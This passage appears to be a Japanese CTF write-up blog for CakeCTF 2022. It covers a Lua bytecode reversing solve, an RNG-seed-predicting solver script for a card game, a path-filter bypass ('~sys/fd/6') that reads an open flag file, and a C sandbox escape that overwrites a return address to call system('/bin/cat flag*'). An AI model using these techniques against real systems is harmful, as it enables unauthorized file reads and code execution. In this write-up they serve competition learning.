   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
   86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
   87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
   88 [-]: LOADK     R5 K32       ; R5 := 1
   89 [-]: LEN       R6 R3        ; R6 := #R3
   90 [-]: LOADK     R7 K32       ; R7 := 1
   91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
   99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
  100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
  101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
  102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
  103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
  104 [-]: LOADBOOL  R9 0 0       ; R9 := false
  105 [-]: RETURN    R9 2         ; return R9
  106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
  107 [-]: LOADBOOL  R5 1 0       ; R5 := true
  108 [-]: RETURN    R5 2         ; return R5
  109 [-]: RETURN    R0 1         ; return

これを丁寧にrevすると、以下のようなプログラムであることがわかります。

def check(input_str):
    R4 = b"CakeCTF 2022"
    table = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34]

    for i in range(len(input_str)):
        for j in range(i+1, len(input_str)):
            input_str[i], input_str[j] = input_str[j], input_str[i]

    for i in range(len(input_str)):
        c = R4[i % len(R4)]
        if input_str[i] ^ c != table[i]:
            return False

    return True

入力した文字列を特定の文字列でXORしてテーブルと比較しているだけなので、テーブルと特定の文字列をXORしてやればフラグが得られます。(途中に入力文字列を反転させる処理があるので[::-1]で合わせます)

from pwn import xor
table = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34]
print(xor(table, b"CakeCTF 2022")[::-1])

CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

crypto

1問も解けなかった。Crypto弱者と申します……

frozen cake: ちょくちょく眺めてたけど方針がわからず、終了直前にm^(p-1)(q-1)にすればよいのでは?と思いついたけど間に合わなかった。

他: 見てません。

cheat

matsushima3 [22 solves]

High & Lowのゲームで、$100から所持金を倍々に連勝していって$999999999999999になればフラグが貰えます。サーバーのソースコードが与えられているので読むと、デッキシャッフルの部分が怪しく見えます。

    # Shuffle cards
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ session['user_id'])
    random.shuffle(deck)
    session['deck'] = deck

session['user_id']は既知なので、タイミング攻撃で乱数のシードがわかりますね。ある時刻でのデッキの状態を前もって確認することができるので、ゲームをシミュレーションすることができます。これを使って、勝てる時刻にだけ参加することで連勝ができます。

次のようなソルバでフラグが貰えます。(雑に書いてるのでよく失敗します)

import requests
import time
import random
import json
from email.utils import parsedate_to_datetime

url = "http://misc.2022.cakectf.com:10011"
# url = "http://localhost:10011"

def calculate_score(cards):
    """Calculate current total of cards"""
    num_ace = 0
    score = 0
    for _, c in cards:
        if c == 0: num_ace += 1
        elif c < 10: score += c + 1
        else: score += 10

    while num_ace > 0:
        if 21 - score >= 10 + num_ace: score += 11
        else: score += 1
        num_ace -= 1

    return -1 if score > 21 else score

ses = requests.Session()
# date = ses.get(url + "/user/new").headers["Date"]
# print(date)
# diff = int(parsedate_to_datetime(date).timestamp()) - int(time.time())
# print(diff)
diff = 1

user = json.loads(ses.get(url + "/user/new").text)
print(user)


while True:
    while True:
        deck = [(i // 13, i % 13) for i in range(4*13)]
        now = time.time()
        if 0.2 < now % 1:
            continue
        random.seed((int(now) + diff) ^ user['user_id'])
        random.shuffle(deck)
        player_hand = []
        dealer_hand = []
        hit = 0

        for i in range(2):
            player_hand.append(deck.pop())
            dealer_hand.append(deck.pop())

        while calculate_score(player_hand + [deck[-1]]) != -1:
            player_hand.append(deck.pop())
            hit += 1
            if calculate_score(dealer_hand) <= 16 and calculate_score(dealer_hand) != -1:
                dealer_hand.append(deck.pop())

        while calculate_score(dealer_hand) <= 16 and calculate_score(dealer_hand) != -1:
            dealer_hand.append(deck.pop())

        if calculate_score(player_hand) > calculate_score(dealer_hand):
            print(player_hand, dealer_hand)
            break


    game = json.loads(ses.get(url + "/game/new").text)
    print(game)

    win = False
    for i in range(hit):
        act = json.loads(ses.get(url + "/game/act?action=hit").text)
        print(act)
        win =  act["state"] == "win"
        if act["flag"] != "":
            break

    if not win:
        result = json.loads(ses.get(url + "/game/act?action=stand").text)
        print(result)
        if result["state"] != "win":
            break
        if result["flag"] != "":
            break

CakeCTF{INFAMOUS_LOGIC_BUG}

misc

readme 2022 [52 solves]

開始から真っ先に取り組んだ問題です。

import os

try:
    f = open("/flag.txt", "r")
except:
    print("[-] Flag not found. If this message shows up")
    print("    on the remote server, please report to amdin.")

if __name__ == '__main__':
    filepath = input("filepath: ")
    if filepath.startswith("/"):
        exit("[-] Filepath must not start with '/'")
    elif '..' in filepath:
        exit("[-] Filepath must not contain '..'")

    filepath = os.path.expanduser(filepath)
    try:
        print(open(filepath, "r").read())
    except:
        exit("[-] Could not open file")

指定したパスの内容を表示するプログラムですが、/で始まったり..を含んでたりすると駄目なので、回避してくださいという問題です。

まずos.path.expanduserのドキュメントを読みにいきます。

Unix では、先頭の ~ は、環境変数 HOME が設定されているならその値に置き換えられます。設定されていない場合は、現在のユーザのホームディレクトリをビルトインモジュール pwd を使ってパスワードディレクトリから探して置き換えます。先頭の ~user については、直接パスワードディレクトリから探します。

os.path --- 共通のパス名操作 — Python 3.10.6 ドキュメント

HOMEが設定されていない場合は/etc/passwdを参照するみたいですね。Docker内に入って確認してみると、sysが都合良さそうです。

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sysのホームディレクトリが/devなので、~sysとすれば/devにアクセスできます。/dev/procと同様に多くの特殊な情報が格納されているディレクトリで、/dev/fd/は自身のプロセスで開いたファイルディスクリプタが参照しているファイルへのリンクがあるフォルダです。(= /proc/self/fd/)

処理の冒頭でflag.txtopenしているので、/dev/fd/にはflag.txtへの参照があるはずです。これもDocker内に入って確かめると、/dev/fd/6であることがわかります。

まとめると、~sys/fd/6でフラグを表示することができます。

CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}

2rd bloodでした。わいわい。

C-Sandbox [20 solves]

入力したCのソースコードコンパイルして実行してくれますが、何やらLLVMの機能を使ってソースコードに制限をかけています。

        /* Allow these function calls */
        if (func && 
            (func->getName() == "puts"
             || func->getName() == "printf"
             || func->getName() == "__isoc99_scanf"
             || func->getName() == "exit"))
          continue;

これらの関数しか呼び出しできない、という制限のようです。といっても配列のOOBなど安全でない動作は色々できるのでメモリ破壊してRCEしていきましょう。

デバッグしながらガチャガチャやってたらprintf("")を実行した後はrdiがlibcのbss内(libc base+0x1ee7e0)を指すことがわかったので、そこにコマンドを書き込んでリターンアドレスをstackがalignされるように調整したsystemにすればsystem(cmd)が実行できます。

#include <stdio.h>
#include <stdlib.h>

long base = (long)system - 0x00052290;
char* command = "/bin/cat flag*";

int main() {
    long buf[0];
    printf("");
    for (int i = 0; i < 32; ++i) {
        *(char*)(base + 0x1ee7e0 + i) = command[i]; // cmd
    }
    *(buf + 2) = base + 0x51cd2; // system
    return 0;
}

CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}

5rd bloodでした。わいわい。

感想

良問揃いで楽しかったです。Panda Memoで溶かした時間をrevやcryptoに当てられていたらPro-ソロプレイヤーたちと肩並べられたかなという感じです。